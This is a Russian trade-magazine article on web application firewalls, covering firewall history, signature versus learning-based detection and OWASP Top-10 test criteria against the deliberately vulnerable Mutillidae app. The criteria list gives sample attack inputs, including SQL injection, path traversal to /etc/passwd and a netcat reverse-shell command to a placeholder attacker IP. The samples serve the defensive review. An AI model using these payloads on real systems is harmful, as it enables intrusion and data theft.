Российские межсетевые экраны для веб

 АНДРЕЙ БИРЮКОВ, ведущий эксперт по информационной безопасности, abiryukov@samag.ru

Российские межсетевые экраны для веб

Защита веб-сайтов является одной из наиболее актуальных тем информационной безопасности. Посмотрим на российские разработки в этом направлении

Экскурс в историю

Межсетевые экраны существуют уже не одно десятилетие, и при этом решения данного класса постоянно развиваются. Изначально это был сетевой фильтр, который ставится между доверенной внутренней сетью и интернетом и блокировал подозрительные сетевые пакеты на основе критериев сетевого и канального уровня иерархической модели OSI. По сути, фильтр учитывал только IP-адреса источника и назначения, флаг фрагментации, номера портов. Собственно, классические межсетевые экраны, которые и сейчас можно встретить практически в каждой сети, работают по аналогичному принципу. Такой подход позволяет предотвратить только самые простые сетевые атаки, такие как сканирование портов, обращение к определенным сегментам сети. Это первое поколение межсетевых экранов.

Второе поколение представляет собой шлюзы сеансового уровня, называемые также фильтрами контроля состояния канала (stateful firewall). Этот функционал позволил проверять принадлежность пакетов к активным TCP-сессиям.

Отсутствие анализа трафика на верхних уровнях иерархической модели делало межсетевые экраны непригодными для обнаружения большинства современных сетевых атак. Ответом разработчиков на эти угрозы стало появление технологий обнаружения и предотвращения вторжений (IDS/IPS). Они анализируют в TCP-пакетах поле данных иосуществляют инспекцию на уровне приложения по определенным сигнатурам. Системы IDS приспособлены к тому, чтобы выявлять атаки не только снаружи, но и внутри сети засчет прослушивания SPAN-порта коммутатора. В IDS/IPS применяются механизмы разбора полей TCP-пакета и частей протокола уровня приложения, например HTTP. Наиболее известным средством IPS является Snort [1]. С ростом вычислительных мощностей стало возможно объединение функционала межсетевых экранов, IDS/IPS, а также антивирусов, получившее название Next Generation Firewall (NGFW).

Но все эти нововведения не помогли избавиться от основного недостатка пакетного фильтра: проверки отдельных пакетов, без учета сессий, Сookies и всей остальной логики работы приложения. По сути, мы не видим целостной картины атаки, что существенно осложняет ее обнаружение и предотвращение.

Следующим шагом стало появление NGFW, направленных на работу только с определенными протоколами и приложениями. Эти решения уже не просто анализируют пакеты, а ивыполняемое действие целиком, собирая пакеты в единое целое. Например, ссылку на фишинговый сайт:

<a target="_blank" data-href="http://google.ru/" href="/m/redirect?url=http%3A//zxxx.ru/goto/2808901726/232612/aHR0вDovL2xpbmszMC5uZXQvazByM24%3D&amp;hash=1058cfdfaba0dc7692e751e1c0c21ded">Поиск</a>

«Обычный» NGFW будет анализировать пакеты по отдельности и скорее всего пропустит их, в то время как специализированный соберет пакеты воедино, проанализирует полученный код и на основании этого не даст пользователю осуществить переход по данной ссылке.

Существует множество специализированных NGFW для различных отраслей: веб, базы данных, защита АСУ ТП и другие. В рамках данной статьи мы будем рассматривать только межсетевые экраны для защиты веб-приложений (Web Application Firewall, WAF).

Специфика веб

Темой этой статьи является обзор российских WAF, однако прежде чем приступить к ее рассмотрению, хотелось бы определиться с тем, какой функционал необходим современному WAF.

Всем известны прокси-серверы, позволяющие терминировать на себе большое число соединений от клиентов и открывающие от своего имени сеансы с серверами. Однако существуют также обратные прокси, предназначенные прежде всего для решения задач балансировки нагрузки. Архитектура веб-приложений предполагает, что за один сеанс работы пользователя с веб-сервером может открываться большое количество различных TCP-соединений, инициирующихся с различных адресов, но при этом имеющих один идентификатор сессии. Таким образом, для анализа веб-трафика необходим полнофункциональный реверс-прокси-сервер.

Современные веб-приложения могут использовать в своей работе различные протоколы. Помимо HTTP, необходима поддержка HTTPS (со всеми сопутствующими средствами разбора шифрованного трафика), на который переходит все большее число сайтов. Кроме того, необходима поддержка таких протоколов представления данных, как XML, JSON, идругих.

Очевидно, что современный WAF должен уметь анализировать все эти протоколы.

Сигнатуры vs автоматическое обучение

Обнаружение атак с помощью анализа на соответствие сигнатурам – довольно распространенный метод обнаружения угроз. Однако при использовании в WAF он не всегда эффективен. Необходим грамотный препроцессинг трафика, позволяющий обеспечить адекватное применение сигнатур. Зачастую сигнатуры описываются с помощью регулярных выражений, разобраться в которых обслуживающим администраторам не всегда под силу. А без возможности гибкой настройки под специфику конкретного веб-приложения эффективность сигнатурного анализа сильно снижается. Кроме того, если для атаки используется уязвимость нулевого дня, сигнатуры становятся практически бесполезны.

Другим, более эффективным методом является автоматическое обучение WAF, основанное на анализе поведения пользователя веб-приложения. Здесь на начальном этапе система накапливает статистическую информацию, составляя модель нормального поведения пользователя при работе с данным веб-приложением. Затем WAF отслеживает любые отклонения, связанные с нарушением этой модели, будь то сканирование, подбор паролей, DDoS и т.д.

Следует помнить, что модель поведения пользователя не может быть статична. Веб-приложение может меняться, в интерфейсе появляются новые элементы, вследствие чего ему необходимо постоянное обучение.

Пользователь как скрытая угроза

Есть некоторые виды атаки (прежде всего Cross Site Request Forgery, межсайтовая подделка запроса, CSRF), которые выполняются непосредственно на клиенте, когда пользователь открывает веб-страницу в браузере.

Например, если пользователь открыл страницу с CSRF, от его лица тайно отправляется запрос, например, на сервер платежной системы, осуществляющий некую вредоносную операцию (например, перевод денег на счет злоумышленника). Для осуществления данной атаки жертва должна быть аутентифицирована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя, которое не может быть проигнорировано или подделано атакующим скриптом.

Для предотвращения подобных атак WAF должен анализировать исходный код страницы, а точнее, ту его часть, которая выполняется на стороне клиента, на предмет наличия CSRF.

Умный WAF

Информационная безопасность есть непрерывный процесс, здесь нельзя один раз настроить и далее забыть про существование системы, так как все и так работает. WAF не является исключением, поэтому наличие удобного интерфейса, позволяющего менять и создавать новые настройки для более эффективного обнаружения атак и предотвращения ложных срабатываний, является необходимым рабочим инструментом. Кроме того, не лишним будет наличие аналитики, позволяющей коррелировать различные угрозы, для поиска более сложных атак.

Желательно наличие приоритизации для различных обнаруженных атак с маркировкой цветом в консоли для того, чтобы администратор мог сразу обратить внимание на наиболее критичные инциденты.

Критерии проверки

В качестве уязвимого веб-приложения при проверках использовался Mutillidae [2], специально предназначенный для тестирования средств защиты для веб.

Традиционным критерием проверки является список наиболее распространенных веб-угроз OWASP TOP-10. Он включает в себя следующие 10 угроз:

1. Инъекции – Injections. Например, в поле ввода указывается:

   'or 1=1--

   Результатом такого запроса в Mutillidae будет вывод значений Username, Password и Signature всех пользователей, хранящихся в таблице, к которой обращается уязвимый скрипт.

2. Недочеты системы аутентификации и хранения сессий (Broken Authentication and Session Management). Суть атаки сводится к использованию уязвимого скрипта из состава Mutillidae, который при выполнении специального JavaScript-сценария передает Cookie авторизованного в системе пользователя.
3. Межсайтовый скриптинг – XSS (Cross Site Scripting). Здесь также уязвимому скрипту передается JavaScript, который, будучи выполненным на стороне клиента, похищает егоCookies.
4. Небезопасные прямые ссылки на объекты (Insecure Direct Object References). В строке поиска вводится:

   /mutillidae/index.php?page=../../../../etc/passwd

   В результате на экране отображается содержимое файла /etc/passwd.

5. Небезопасная конфигурация (Security Misconfigura-tion). Примером небезопасной конфигурации является неограниченная загрузка файлов. Злоумышленник может загрузить выполнимый PHP-скрипт, затем запустить его посредством вызова:

   /mutillidae/index.php?page=../../../../../tmp/shell.php&cmd=/bin/nc+[attacker-ip]:+8080+-e+/bin/bash

   И получить shell в систему.

6. Незащищенность критичных данных (Sensitive Data Exposure). Для демонстрации данной атаки достаточно выполнить:

   /mutillidae/index.php?page=phpinfo.php

   В результате на экран будут выведены все настройки веб-сервера.

7. Отсутствие функций контроля доступа (Missing Function Level Access Control). Специально составленный XML-файл позволяет вывести содержимое /etc/passwd.
8. Межсайтовая подделка запроса (Cross-Site Request Forgery, CSRF/XSRF). Посредством интеграции инъекции и межсайтового скриптинга на экран выводится содержимое /etc/passwd.
9. Использование компонентов с известными уязвимостями (Using Components with Known Vulnerabilities). Здесь примером является эксплуатация известных уязвимостей веб (например, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187 и других).
10. Непроверенные переадресации и пересылки (Unvali-dated Redirects and Forwards). Уязвимый скрипт перенаправляет пользователя на любой URL. Может быть использовано при фишинговых атаках.

Помимо OWASP, современный WAF должен уметь анализировать не только HTTP, но и HTTPS-трафик.

Статью целиком читайте в журнале «Системный администратор», №9 за 2017 г. на страницах 48-53.

PDF-версию данного номера можно приобрести в нашем магазине.

1. Сайт проекта SNORT – https://www.snort.org.
2. Проект Mutillidae – https://sourceforge.net/projects/mutillidae.
3. PT Application Firewall – https://www.ptsecurity.com/ru-ru/products/af.
4. Сайт Wallarm – https://wallarm.ru.
5. Web Application Firewall Континент WAF – https://securitycode.ru/products/kontinent-waf.

Комментарии могут оставлять только зарегистрированные пользователи